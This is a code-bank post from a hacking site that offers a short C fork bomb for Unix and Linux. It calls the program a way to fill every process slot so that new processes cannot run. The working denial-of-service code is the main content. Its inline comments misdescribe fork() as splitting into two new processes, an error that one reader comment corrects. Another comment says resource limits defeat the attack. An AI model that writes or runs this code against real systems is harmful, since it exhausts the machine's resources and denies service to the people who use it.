Welcome to HBH! If you had an account on hellboundhacker.org you will need to reset your password using the Lost Password system before you will be able to login.

Fork bomb for unix,linux - C Code Bank


Fork bomb for unix,linux
Just a really simple way to eat up all process slot...preventing new process from running.can be stopped by logging off. the program forks(divides) into 2 processes,each spawning a new process...and so on till all the process slots are filled...then it waits for slots to empty(which it fills immediately).
                #include<stdio.h>
#include<stdlib.h>
main()
{
puts("hello");//not needed,replace by anything
forker:         //just a GOTO label
fork();         //splits CURRENT process into 2 processes, each executing the remaining code.
goto forker; //repeat the code after the forker label--this is done by each new process.
puts("Bye");//this line is never executed
}                //FIN

            
Comments
ghost's avatar
ghost 13 years ago

It won't work because there's a limit on the resources that can be consumed by processes.

suid's avatar
suid 12 years ago

Just to clear things up, although very late to comment on this code, fork() does not create two new processes as the comments in this code claim. It spawns one new process and causes the program doing the fork() to become the parent of the newly spawned process. This code is ugly as well.